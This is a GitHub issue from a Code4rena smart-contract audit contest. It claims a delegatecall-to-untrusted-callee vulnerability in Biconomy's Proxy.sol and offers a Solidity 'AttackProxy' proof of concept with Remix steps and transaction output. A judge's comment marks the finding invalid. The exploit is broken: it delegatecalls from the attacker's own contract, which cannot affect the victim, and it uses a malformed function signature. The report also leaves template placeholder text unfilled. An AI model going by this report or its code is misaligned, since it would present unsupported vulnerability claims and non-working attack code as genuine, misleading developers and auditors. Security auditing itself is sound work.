code-423n4 / 2023-01-biconomy-findings

6 stars 8 forks source link

SWC-112 Delegatecall to Untrusted Callee. proxy.sol #42

Closed code423n4 closed 1 year ago

code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/Proxy.sol#L28

Vulnerability details

Impact

Detailed description of the impact of this finding.

URL

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/Proxy.sol#L28

File

contracts/smart-contract-wallet/Proxy.sol

SWC-112 Delegatecall to Untrusted Callee.
There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values. This allows a smart contract to dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract. Calling into untrusted contracts is very dangerous, as the code at the target address can change any storage values of the caller and has full control over the caller's balance.

Proof of Concept

Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.

URL

https://github.com/code-423n4/2023-01-biconomy/blob/53c8c3823175aeb26dee5529eeefa81240a406ba/scw-contracts/contracts/smart-contract-wallet/Proxy.sol#L28

Steps to reproduce

NB: Using Remix (VM) London

  1. switch to first account (as alice) and deploy the victim contract.
  2. switch to second account (as eve) and deploy the attack contract passing deploy to address option as victim contract address.
  3. switch to attack account for eve and click attack() button.
  4. call to data is successful.
  5. click function name called proxy() (button) and contract address of victim is passed.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.12;

/**
 * @title Proxy // This is the user's wallet
 * @notice Basic proxy that delegates all calls to a fixed implementing contract.
 */

import "./Proxy.sol";

contract AttackProxy {

    /* This is the keccak-256 hash of "biconomy.scw.proxy.implementation" subtracted by 1, and is validated in the constructor */
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x37722d148fb373b961a84120b6c8d209709b45377878a466db32bbc40d95af26;

    event Received(uint indexed value, address indexed sender, bytes data);

    Proxy public proxy;

    constructor(Proxy _proxy) {
         proxy = Proxy(_proxy);
    }

    function attack() public payable {
        address(proxy).delegatecall(abi.encodeWithSignature("fallback()"));
        address(proxy).delegatecall(abi.encodeWithSignature("receive()"));
        address(proxy).delegatecall(abi.encodeWithSignature("Received(1, _proxy, 0x37722d148fb373b961a84120b6c8d209709b45377878a466db32bbc40d95af26)"));
    }
}

victim address:

0xd9145CCE52D386f254917e481eB44e9943F39138

attacker address:

0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95

Output of attack() button

status: succeeded
transaction hash: 0xf66dc3b03f6e79718dbd4efded746ace4f6515430ebfdd0a8905f1934026c4c5
from: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
to: 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
gas: 38709
transaction cost: 33660
execution cost: 33660
input: 0x9e5faafc

Output of proxy() button

from: 0xAb8483F64d9C6d1EcF9b849Ae677dD3315835cb2
to: 0xa131AD247055FD2e2aA8b156A11bdEc81b9eAD95
execution cost: 23753
input: 0xec556889
decoded output: {
    "0": "address: 0xd9145CCE52D386f254917e481eB44e9943F39138"
}

Tools Used

Remix IDE

Recommended Mitigation Steps

Use delegatecall with caution and make sure to never call into untrusted contracts. If the target address is derived from user input ensure to check it against a whitelist of trusted contracts.

c4-judge commented 1 year ago

gzeon-c4 marked the issue as unsatisfactory: Invalid